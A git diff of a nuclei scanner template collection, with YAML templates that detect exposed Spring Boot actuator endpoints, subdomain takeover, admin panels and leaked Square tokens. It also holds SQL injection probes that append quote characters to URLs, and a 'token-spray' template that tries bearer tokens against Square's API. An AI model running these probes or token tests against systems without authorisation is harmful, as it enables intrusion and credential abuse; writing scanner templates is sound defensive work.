"application/vnd.spring-boot.actuator.v1+json" - condition: or - part: header diff --git a/nuclei-templates/Other/springboot-metrics-10482.yaml b/nuclei-templates/Other/springboot-metrics-10482.yaml new file mode 100644 index 0000000000..7c2b07e57d --- /dev/null +++ b/nuclei-templates/Other/springboot-metrics-10482.yaml @@ -0,0 +1,32 @@ +id: springboot-metrics + +info: + name: Detect Springboot metrics Actuator + author: pussycat0x + severity: low + description: Additional routes may be displayed + tags: springboot,exposure + +requests: + - method: GET + path: + - "{{BaseURL}}/metrics" + - "{{BaseURL}}/actuator/metrics" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "mem" + - "mem.free" + - "processors" + - "instance.uptime" + - "systemload.average" + - "nonheap.init" + - "heap.committed" + condition: and + + - type: status + status: + - 200 diff --git a/nuclei-templates/Other/springboot-metrics-10483.yaml b/nuclei-templates/Other/springboot-metrics-10483.yaml deleted file mode 100644 index 8ec00b87b8..0000000000 --- a/nuclei-templates/Other/springboot-metrics-10483.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: springboot-metrics -info: - name: Detect Springboot metrics Actuator - author: pussycat0x - severity: low - description: Additional routes may be displayed - tags: springboot,exposure -requests: - - method: GET - path: - - "{{BaseURL}}/metrics" - - "{{BaseURL}}/actuator/metrics" - stop-at-first-match: true - matchers-condition: and - matchers: - - type: word - part: body - words: - - "mem" - - "mem.free" - - "processors" - - "instance.uptime" - - "systemload.average" - - "nonheap.init" - - "heap.committed" - condition: and - - type: status - status: - - 200 diff --git a/nuclei-templates/Other/springboot-threaddump-10487.yaml b/nuclei-templates/Other/springboot-threaddump-10487.yaml index 200524a679..98db514631 100644 --- a/nuclei-templates/Other/springboot-threaddump-10487.yaml +++ b/nuclei-templates/Other/springboot-threaddump-10487.yaml @@ -1,16 +1,19 @@ id: springboot-threaddump + info: name: Detect Springboot Thread Dump page author: philippedelteil severity: low - description: The threaddump endpoint provides a thread dump from the application's JVM. + description: The threaddump endpoint provides a thread dump from the application’s JVM. reference: https://docs.spring.io/spring-boot/docs/2.4.11-SNAPSHOT/actuator-api/htmlsingle/#threaddump tags: springboot + requests: - method: GET path: - "{{BaseURL}}/threaddump" - "{{BaseURL}}/actuator/threaddump" + matchers-condition: and matchers: - type: word @@ -19,9 +22,11 @@ requests: - '"threads":' - '"threadName":' condition: and + - type: status status: - 200 + - type: word words: - "application/json" diff --git a/nuclei-templates/Other/springboot-trace-10491.yaml b/nuclei-templates/Other/springboot-trace-10491.yaml new file mode 100644 index 0000000000..11c73c2c29 --- /dev/null +++ b/nuclei-templates/Other/springboot-trace-10491.yaml @@ -0,0 +1,31 @@ +id: springboot-trace +info: + name: Detect Springboot Trace Actuator + author: that_juan_ & dwisiswant0 & wdahlenb + severity: low + description: View recent HTTP requests and responses + tags: springboot,disclosure +requests: + - method: GET + path: + - "{{BaseURL}}/trace" + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"timestamp"' + - '"info"' + - '"method"' + - '"path"' + condition: and + - type: status + status: + - 200 + - type: word + words: + - "application/json" + - "application/vnd.spring-boot.actuator" + - "application/vnd.spring-boot.actuator.v1+json" + condition: or + part: header diff --git a/nuclei-templates/Other/springboot-trace.yaml b/nuclei-templates/Other/springboot-trace.yaml deleted file mode 100644 index b967e514f2..0000000000 --- a/nuclei-templates/Other/springboot-trace.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: springboot-trace -info: - name: Detect Springboot Trace Actuator - author: that_juan_,dwisiswant0,wdahlenb - severity: low - description: View recent HTTP requests and responses - tags: misconfig,springboot,exposure -requests: - - method: GET - path: - - "{{BaseURL}}/trace" - matchers-condition: and - matchers: - - type: word - part: body - words: - - '"timestamp"' - - '"info"' - - '"method"' - - '"path"' - condition: and - - type: word - part: header - words: - - "application/json" - - "application/vnd.spring-boot.actuator" - - "application/vnd.spring-boot.actuator.v1+json" - condition: or - - type: status - status: - - 200 diff --git a/nuclei-templates/Other/springboot_heapdump.yaml b/nuclei-templates/Other/springboot_heapdump.yaml deleted file mode 100644 index d8a33f5df9..0000000000 --- a/nuclei-templates/Other/springboot_heapdump.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: springboot-heapdump -info: - name: Spring Boot Actuator - Heap Dump Detection - author: that_juan_,dwisiswant0,wdahlenb - severity: critical - description: A Spring Boot Actuator heap dump was detected. A heap dump is a snapshot of JVM memory, which could expose environment variables and HTTP requests. - reference: - - https://github.com/pyn3rd/Spring-Boot-Vulnerability - tags: springboot,exposure -requests: - - method: GET - path: - - "{{BaseURL}}/heapdump" - - "{{BaseURL}}/actuator/heapdump" - stop-at-first-match: true - max-size: 2097152 # 2MB - Max Size to read from server response - matchers-condition: and - matchers: - - type: binary - part: body - binary: - - "4a4156412050524f46494c45" # "JAVA PROFILE" - - "4850524f46" # "HPROF" - - "1f8b080000000000" # Gunzip magic byte - condition: or - - type: status - status: - - 200 - -# Enhanced by mp on 2022/05/20 diff --git a/nuclei-templates/Other/sprintful-takeover-10494.yaml b/nuclei-templates/Other/sprintful-takeover-10494.yaml deleted file mode 100644 index 791e26095d..0000000000 --- a/nuclei-templates/Other/sprintful-takeover-10494.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: sprintful-takeover - -info: - name: Sprintful Takeover - author: Mhdsamx - severity: high - tags: takeover,sprintful - -requests: - - method: GET - path: - - '{{BaseURL}}' - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - 'The user account associated with this calendar has been deactivated.' - - 'Please contact the owner of this calendar directly in order to book a meeting.' - - 'This domain name does not have a default page configured.' - condition: or - - - type: word - words: - - "Sprintful" \ No newline at end of file diff --git a/nuclei-templates/Other/sprintful-takeover-10495.yaml b/nuclei-templates/Other/sprintful-takeover-10495.yaml new file mode 100644 index 0000000000..65e4a817c9 --- /dev/null +++ b/nuclei-templates/Other/sprintful-takeover-10495.yaml @@ -0,0 +1,24 @@ +id: sprintful-takeover +info: + name: Sprintful Takeover + author: Mhdsamx + severity: high + tags: takeover,sprintful +requests: + - method: GET + path: + - '{{BaseURL}}' + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - 'The user account associated with this calendar has been deactivated.' + - 'Please contact the owner of this calendar directly in order to book a meeting.' + - 'This domain name does not have a default page configured.' + condition: or + - type: word + words: + - "Sprintful" diff --git a/nuclei-templates/Other/sql-dump-10496.yaml b/nuclei-templates/Other/sql-dump-10498.yaml similarity index 100% rename from nuclei-templates/Other/sql-dump-10496.yaml rename to nuclei-templates/Other/sql-dump-10498.yaml diff --git a/nuclei-templates/Other/sql-injection.yaml b/nuclei-templates/Other/sql-injection.yaml deleted file mode 100644 index 3a57109aa6..0000000000 --- a/nuclei-templates/Other/sql-injection.yaml +++ /dev/null @@ -1,47 +0,0 @@ -id: SQL - -info: - name: SQL Injecion - author: pikpikcu - severity: critical - -requests: - - method: GET - path: - - - "{{BaseURL}}%27" - - "{{BaseURL}}%22" - - "{{BaseURL}}%5C" - - "{{BaseURL}}%2C" - - "{{BaseURL}}%2A" - - "{{BaseURL}}%60" - - matchers: - - type: regex - regex: - - "SQL syntax" - - "MySQL" - - "Unexpected end of command in statement" - - "Unexpected token.*?in statement" - - ".hsqldb" - - ".jdbc" - - "CLI Driver" - - "DB2 SQL error" - - "bdb2_" - - "SQLSTATE" - - "SQLCODE" - - "Warning" - - "SybSQLException" - - "sqlite" - - "SQLite3" - - "Sqlite" - - "SQLSTATE" - - "Error 500" - - "statementSQL" - part: body - - type: status - status: - - 500 - - 302 - - 400 - part: header diff --git a/nuclei-templates/Other/sql-monitor-10505.yaml b/nuclei-templates/Other/sql-monitor-10505.yaml deleted file mode 100644 index e9b23658ed..0000000000 --- a/nuclei-templates/Other/sql-monitor-10505.yaml +++ /dev/null @@ -1,23 +0,0 @@ -id: sql-monitor - -info: - name: SQL Monitor - author: dhiyaneshDK - severity: info - tags: panel - metadata: - shodan-query: 'html:"SQL Monitor"' - -requests: - - method: GET - path: - - '{{BaseURL}}/Account/LogIn?returnUrl=%2F&hasAttemptedCookie=True' - - matchers-condition: and - matchers: - - type: word - words: - - 'JavaScript needs to be enabled for SQL Monitor to work properly.' - - type: status - status: - - 200 diff --git a/nuclei-templates/Other/sql-monitor.yaml b/nuclei-templates/Other/sql-monitor.yaml new file mode 100644 index 0000000000..8f8f3bc82e --- /dev/null +++ b/nuclei-templates/Other/sql-monitor.yaml @@ -0,0 +1,20 @@ +id: sql-monitor +info: + name: SQL Monitor + author: dhiyaneshDK + severity: info + tags: panel + metadata: + shodan-query: 'html:"SQL Monitor"' +requests: + - method: GET + path: + - '{{BaseURL}}/Account/LogIn?returnUrl=%2F&hasAttemptedCookie=True' + matchers-condition: and + matchers: + - type: word + words: + - 'JavaScript needs to be enabled for SQL Monitor to work properly.' + - type: status + status: + - 200 diff --git a/nuclei-templates/Other/sql-server-reporting-10509.yaml b/nuclei-templates/Other/sql-server-reporting-10509.yaml index bb0fa2dd5b..4e97bee905 100644 --- a/nuclei-templates/Other/sql-server-reporting-10509.yaml +++ b/nuclei-templates/Other/sql-server-reporting-10509.yaml @@ -1,9 +1,11 @@ id: sql-server-reporting + info: name: Detect Microsoft SQL Server Reporting author: puzzlepeaches severity: info - tags: tech,micrsoft + tags: tech,microsoft + requests: - method: GET path: diff --git a/nuclei-templates/Other/sqli.yaml b/nuclei-templates/Other/sqli.yaml new file mode 100644 index 0000000000..f6d042112a --- /dev/null +++ b/nuclei-templates/Other/sqli.yaml @@ -0,0 +1,47 @@ +id: SQL + +info: + name: SQL Injecion + author: pikpikcu + severity: critical + +requests: + - method: GET + path: + + - "{{BaseURL}}%27" + - "{{BaseURL}}%22" + - "{{BaseURL}}%5C" + - "{{BaseURL}}%2C" + - "{{BaseURL}}%2A" + - "{{BaseURL}}%60" + + matchers: + - type: regex + regex: + - "SQL syntax" + - "MySQL" + - "Unexpected end of command in statement" + - "Unexpected token.*?in statement" + - ".hsqldb" + - ".jdbc" + - "CLI Driver" + - "DB2 SQL error" + - "bdb2_" + - "SQLSTATE" + - "SQLCODE" + - "Warning" + - "SybSQLException" + - "sqlite" + - "SQLite3" + - "Sqlite" + - "SQLSTATE" + - "Error 500" + - "statementSQL" + part: body + - type: status + status: + - 500 + - 302 + - 400 + part: header diff --git a/nuclei-templates/Other/sqli_header (copy 1).yaml b/nuclei-templates/Other/sqli_header (copy 1).yaml index 832a9fc156..85e1b90acb 100644 --- a/nuclei-templates/Other/sqli_header (copy 1).yaml +++ b/nuclei-templates/Other/sqli_header (copy 1).yaml @@ -1,8 +1,10 @@ id: header-sqli + info: name: Request header based sqli - author: panch0r3d + author: panch0r3d (Thanks https://github.com/MR-pentestGuy for all of the Regexes) severity: high + requests: - method: GET path: @@ -18,6 +20,48 @@ requests: matchers: - type: regex regex: - - "(s|S)(q|Q)(l|L)" - - "(d|D)(a|A)(t|T)(a|A)(b|B)(a|A)(s|S)(e|E)" + - "(Transaction rollback|com.frontbase.jdbc|org.h2.jdbc|Unexpected end of command in statement|Unexpected token.*?in statement)" + - "(org.hsqldb.jdbc|CLI Driver.*?DB2|DB2 SQL error|bdb2_w+|SQLSTATE.+SQLCODE|com.ibm.db2.jcc)" + - "(Zend_Db_(Adapter|Statement)_Db2_Exception|DB2Exception|Warning.*?ifx_|Exception.*?Informix|Informix ODBC Driver)" + - "(ODBC Informix driver|com.informix.jdbc|weblogic.jdbc.informix|IfxException|Warning.*?ingres_|Ingres SQLSTATE|Ingres.*?Driver)" + - "(com.ingres.gcf.jdbc|Dynamic SQL Error|Warning.*?ibase_|org.firebirdsql.jdbc|Microsoft Access.*?Driver|JET Database Engine)" + - "(Access Database Engine|ODBC Microsoft Access|Syntax error .*?missing operator.*? in query expression|Driver.*? SQL.*? Server)" + - "(OLE DB.*? SQL Server|bSQL Server.*? Driver|Warning.*?(mssql|sqlsrv)_|SQL Server|System.Data.SqlClient.SqlException)" + - "(Exception.*?Roadhouse.Cms.|Microsoft SQL Native Client error |ODBC SQL Server Driver|ODBC Driver.*? for SQL Server)" + - "(SQLServer JDBC Driver|com.jnetdirect.jsql|macromedia.jdbc.sqlserver|Zend_Db_(Adapter|Statement)_Sqlsrv_Exception)" + - "(com.microsoft.sqlserver.jdbc|(Mssql|SqlSrv)|SQL(Srv|Server)Exception|SQL syntax.*?MySQL|Warning.*?mysqli?_)" + - "(MySQLSyntaxErrorException|valid MySQL result|check the manual that corresponds to your (MySQL|MariaDB) server version)" + - "(Unknown column .*? in .field list.|MySqlClient.|com.mysql.jdbc|Zend_Db_(Adapter|Statement)_Mysqli_Exception)" + - "(MySqlException|ORA-{5}|Oracle error|Oracle.*?Driver|Warning.*?(oci|ora)_|quoted string not properly terminated)" + - "(SQL command not properly ended|macromedia.jdbc.oracle|oracle.jdbc|Zend_Db_(Adapter|Statement)_Oracle_Exception)" + - "(OracleException|PostgreSQL.*?ERROR|Warning.*?pg|valid PostgreSQL result|Npgsql|PG.*?SyntaxError|org.postgresql.util.PSQLException)" + - "(ERROR.*?syntax error at or near|ERROR.*? parser.*? parse error at or near|PostgreSQL query failed|org.postgresql.jdbc)" + - "(PSQLException|SQL error.*?POS|Warning.*?maxdb|DriverSapDB|com.sap.dbtech.jdbc|SQLite.*?JDBCDriver|SQLite.Exception)" + - "((Microsoft|System).Data.SQLite.SQLiteException|Warning.*?(sqlite_|SQLite3)|SQLITE_ERROR|SQLite error)" + - "(sqlite3.OperationalError:|SQLite3.*?SQLException|org.sqlite.JDBC|Sqlite|SQLiteException|Warning.*?sybase_)" + - "(Sybase message|Sybase.*?Server message|SybSQLException|Sybase.Data.AseClient|com.sybase.jdbc)" part: body + extractors: + - type: regex + part: body + regex: + - "(Transaction rollback|com.frontbase.jdbc|org.h2.jdbc|Unexpected end of command in statement|Unexpected token.*?in statement)" + - "(org.hsqldb.jdbc|CLI Driver.*?DB2|DB2 SQL error|bdb2_w+|SQLSTATE.+SQLCODE|com.ibm.db2.jcc)" + - "(Zend_Db_(Adapter|Statement)_Db2_Exception|DB2Exception|Warning.*?ifx_|Exception.*?Informix|Informix ODBC Driver)" + - "(ODBC Informix driver|com.informix.jdbc|weblogic.jdbc.informix|IfxException|Warning.*?ingres_|Ingres SQLSTATE|Ingres.*?Driver)" + - "(com.ingres.gcf.jdbc|Dynamic SQL Error|Warning.*?ibase_|org.firebirdsql.jdbc|Microsoft Access.*?Driver|JET Database Engine)" + - "(Access Database Engine|ODBC Microsoft Access|Syntax error .*?missing operator.*? in query expression|Driver.*? SQL.*? Server)" + - "(OLE DB.*? SQL Server|bSQL Server.*? Driver|Warning.*?(mssql|sqlsrv)_|SQL Server|System.Data.SqlClient.SqlException)" + - "(Exception.*?Roadhouse.Cms.|Microsoft SQL Native Client error |ODBC SQL Server Driver|ODBC Driver.*? for SQL Server)" + - "(SQLServer JDBC Driver|com.jnetdirect.jsql|macromedia.jdbc.sqlserver|Zend_Db_(Adapter|Statement)_Sqlsrv_Exception)" + - "(com.microsoft.sqlserver.jdbc|(Mssql|SqlSrv)|SQL(Srv|Server)Exception|SQL syntax.*?MySQL|Warning.*?mysqli?_)" + - "(MySQLSyntaxErrorException|valid MySQL result|check the manual that corresponds to your (MySQL|MariaDB) server version)" + - "(Unknown column .*? in .field list.|MySqlClient.|com.mysql.jdbc|Zend_Db_(Adapter|Statement)_Mysqli_Exception)" + - "(MySqlException|ORA-{5}|Oracle error|Oracle.*?Driver|Warning.*?(oci|ora)_|quoted string not properly terminated)" + - "(SQL command not properly ended|macromedia.jdbc.oracle|oracle.jdbc|Zend_Db_(Adapter|Statement)_Oracle_Exception)" + - "(OracleException|PostgreSQL.*?ERROR|Warning.*?pg|valid PostgreSQL result|Npgsql|PG.*?SyntaxError|org.postgresql.util.PSQLException)" + - "(ERROR.*?syntax error at or near|ERROR.*? parser.*? parse error at or near|PostgreSQL query failed|org.postgresql.jdbc)" + - "(PSQLException|SQL error.*?POS|Warning.*?maxdb|DriverSapDB|com.sap.dbtech.jdbc|SQLite.*?JDBCDriver|SQLite.Exception)" + - "((Microsoft|System).Data.SQLite.SQLiteException|Warning.*?(sqlite_|SQLite3)|SQLITE_ERROR|SQLite error)" + - "(sqlite3.OperationalError:|SQLite3.*?SQLException|org.sqlite.JDBC|Sqlite|SQLiteException|Warning.*?sybase_)" + - "(Sybase message|Sybase.*?Server message|SybSQLException|Sybase.Data.AseClient|com.sybase.jdbc)" diff --git a/nuclei-templates/Other/square-access-token(1).yaml b/nuclei-templates/Other/square-access-token(1).yaml new file mode 100644 index 0000000000..5601c992e7 --- /dev/null +++ b/nuclei-templates/Other/square-access-token(1).yaml @@ -0,0 +1,17 @@ +id: square-access-token + +info: + name: Square Access Token + author: gaurang,daffainfo + severity: high + tags: token,file,square + +file: + - extensions: + - all + + extractors: + - type: regex + regex: + - "EAAAE[a-zA-Z0-9_-]{59}" + - "sq0atp-[0-9A-Za-z\\-_]{22}" diff --git a/nuclei-templates/Other/square-oauth-secret(1).yaml b/nuclei-templates/Other/square-oauth-secret(1).yaml deleted file mode 100644 index 86392888a8..0000000000 --- a/nuclei-templates/Other/square-oauth-secret(1).yaml +++ /dev/null @@ -1,13 +0,0 @@ -id: square-oauth-secret -info: - name: Square OAuth Secret - author: gaurang - severity: high - tags: token,file,square -file: - - extensions: - - all - extractors: - - type: regex - regex: - - "sq0csp-[0-9A-Za-z\\-_]{43}" diff --git a/nuclei-templates/Other/square.yaml b/nuclei-templates/Other/square.yaml new file mode 100644 index 0000000000..7ccb835189 --- /dev/null +++ b/nuclei-templates/Other/square.yaml @@ -0,0 +1,25 @@ +id: api-square + +info: + name: Square API Test + author: zzeitlin + reference: https://developer.squareup.com/explorer/square/locations-api/list-locations + severity: info + tags: token-spray,square + +self-contained: true +requests: + - method: GET + path: + - "https://connect.squareup.com/v2/locations" + - "https://connect.squareupsandbox.com/v2/locations" + headers: + Content-Type: application/json + Authorization: Bearer {{token}} + + matchers: + - type: word + part: body + words: + - 'errors' + negative: true diff --git a/nuclei-templates/Other/squid-analysis-report-generator-10513.yaml b/nuclei-templates/Other/squid-analysis-report-generator-10513.yaml new file mode 100644 index 0000000000..ccc3a9b84d --- /dev/null +++ b/nuclei-templates/Other/squid-analysis-report-generator-10513.yaml @@ -0,0 +1,31 @@ +id: squid-analysis-report-generator +info: + name: Squid Analysis Report Generator + author: geeknik + description: SARG is an open source tool that allows you to analyse the squid log files and generates beautiful reports in HTML format with information about users, IP addresses, top accessed sites, total bandwidth usage, elapsed time, downloads, access denied websites, daily reports, weekly reports and monthly reports. + reference: https://sourceforge.net/projects/sarg/ + severity: high + tags: sarg,exposure,logs +requests: + - method: GET + path: + - "{{BaseURL}}" + matchers-condition: and + matchers: + - type: word + part: body + words: + - "Squid User Access Report" + - "Squid User's Access Report" + condition: or + - type: word + part: body + words: + - "
JavaScript needs to be enabled for SQL Monitor to work properly.
The page you are looking for doesn't exist or has been moved.